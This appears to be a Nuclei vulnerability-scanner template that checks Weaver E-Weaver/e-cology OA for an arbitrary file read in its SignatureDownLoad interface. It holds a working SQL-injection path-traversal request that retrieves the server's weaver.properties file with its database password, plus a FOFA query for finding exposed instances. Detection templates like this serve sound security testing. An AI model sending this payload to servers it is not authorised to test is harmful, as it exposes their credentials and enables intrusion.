id: weaver-signaturedownload-lfi

info:
  name: OA E-Weaver SignatureDownLoad - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the E-Weaver SignatureDownLoad interface of Panwei OA. An attacker can read any file on the server through the vulnerability.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Weaver%20SignatureDownLoad%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: weaver
    product: e-cology
    fofa-query: app="泛微-E-Weaver"
  tags: ecology,weaver,oa,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DriverClasses"
          - "ecology.password"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "markPicture.jpg"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220311004c9aada4f59951b087abe03d4b4779e6968119714e266ce3cbfeb832511022077ad526211d3c1b01f7701c117b19ad2ba099e648a28703e44c842d8e705bacc:922c64590222798bb761d5b6d8e72950